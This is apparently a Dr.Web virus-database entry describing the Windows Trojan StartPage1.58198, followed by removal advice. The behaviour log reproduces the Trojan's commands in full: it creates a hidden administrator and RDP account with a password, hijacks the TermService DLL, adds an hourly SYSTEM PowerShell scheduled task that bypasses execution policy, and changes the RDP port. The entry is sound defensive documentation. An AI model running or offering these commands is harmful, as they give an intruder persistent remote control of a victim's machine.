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Trojan.StartPage1.58198

Added to the Dr.Web virus database: 2019-10-08

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\41030
Creates the following services
  • [<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\help\tmp5211.dat'
  • [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Modifies file system
Creates the following files
  • %TEMP%\nspebde.tmp\blowfish.dll
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\fax recipient.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\desktop.ini
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\desktop (create shortcut).desklink
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\compressed (zipped) folder.zfsendtotarget
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\narrator.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
  • <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
  • C:\users\supportaccount\appdata\roaming\microsoft\internet explorer\quick launch\desktop.ini
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\desktop.ini
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\run.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\windows explorer.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\command prompt.lnk
  • C:\users\supportaccount\ntuser.ini
  • C:\users\supportaccount\appdata\local\microsoft\windows\usrclass.dat.log1
  • C:\users\supportaccount\appdata\local\microsoft\windows\usrclass.dat
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\desktop.ini
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\mail recipient.mapimail
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\ease of access.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\magnify.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\on-screen keyboard.lnk
  • %TEMP%\vbypncxtbhmod.ps1
  • %TEMP%\nspebde.tmp\system.dll
  • %WINDIR%\help\tmp5211.dat
  • %WINDIR%\help\tmp5212.dat
  • %WINDIR%\help\tmp5213.dat
  • <SYSTEM32>\rfxvmt.dll
  • %WINDIR%\temp\usrnm.txt
  • C:\users\supportaccount\ntuser.dat.log1
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\notepad.lnk
  • <SYSTEM32>\microsoft\protect\s-1-5-20\b750b703-a91c-42a7-9992-67f5e4a8b479
  • C:\users\supportaccount\ntuser.dat
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\maintenance\help.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\maintenance\desktop.ini
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\private character editor.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\computer.lnk
  • C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\control panel.lnk
  • %TEMP%\chadshfsd323.txt
  • %PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
  • C:\users\supportaccount\ntuser.pol
Sets the 'hidden' attribute to the following files
  • C:\users\supportaccount\ntuser.dat
  • C:\users\supportaccount\appdata\local\microsoft\windows\usrclass.dat
Deletes the following files
  • %TEMP%\nspebde.tmp\blowfish.dll
  • %TEMP%\nspebde.tmp\system.dll
  • %TEMP%\chadshfsd323.txt
Deletes itself.
Network activity
UDP
  • DNS ASK af####daslfo3d3.xyz
Miscellaneous
Searches for the following windows
  • ClassName: 'CicLoaderWndClass' WindowName: ''
Creates and executes the following
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\VBYPNCXTBHmod.ps1
  • '<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\VBYPNCXTBHmod.ps1' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount asfggees /del' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount GiFUmPnj /add' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" supportaccount /ADD' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" cvwvjaup$ /ADD' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" supportaccount /ADD' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount GiFUmPnj' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C schtasks /create /tn 41030 /tr "powershell -nop -ep bypass -f %WINDIR%\help\19196.ps1" /ru system /sc hourly /mo 1' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\VBYPNCXTBHmod.ps1
  • '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" supportaccount /ADD
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" cvwvjaup$ /ADD
  • '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" cvwvjaup$ /ADD
  • '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" cvwvjaup$ /ADD
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" supportaccount /ADD
  • '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" supportaccount /ADD
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" supportaccount /ADD
  • '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" supportaccount /ADD
  • '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" supportaccount /ADD
  • '<SYSTEM32>\net1.exe' user supportaccount GiFUmPnj
  • '<SYSTEM32>\cmd.exe' /C schtasks /create /tn 41030 /tr "powershell -nop -ep bypass -f %WINDIR%\help\19196.ps1" /ru system /sc hourly /mo 1
  • '<SYSTEM32>\schtasks.exe' /create /tn 41030 /tr "powershell -nop -ep bypass -f %WINDIR%\help\19196.ps1" /ru system /sc hourly /mo 1
  • '<SYSTEM32>\smss.exe' 00000000 0000003c
  • '<SYSTEM32>\csrss.exe' ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitializa...
  • '<SYSTEM32>\winlogon.exe'
  • '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount GiFUmPnj
  • '<SYSTEM32>\net.exe' user supportaccount GiFUmPnj
  • '<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
  • '<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
  • '<SYSTEM32>\net1.exe' user supportaccount GiFUmPnj /add
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
  • '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
  • '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
  • '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  • '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  • '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount asfggees /del
  • '<SYSTEM32>\net.exe' user supportaccount asfggees /del
  • '<SYSTEM32>\net1.exe' user supportaccount asfggees /del
  • '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount GiFUmPnj /add
  • '<SYSTEM32>\net.exe' user supportaccount GiFUmPnj /add
  • '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\help\tmp5211.dat /f
  • '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
  • '<SYSTEM32>\rdpclip.exe'
Attempts to shut down the Windows operating system.

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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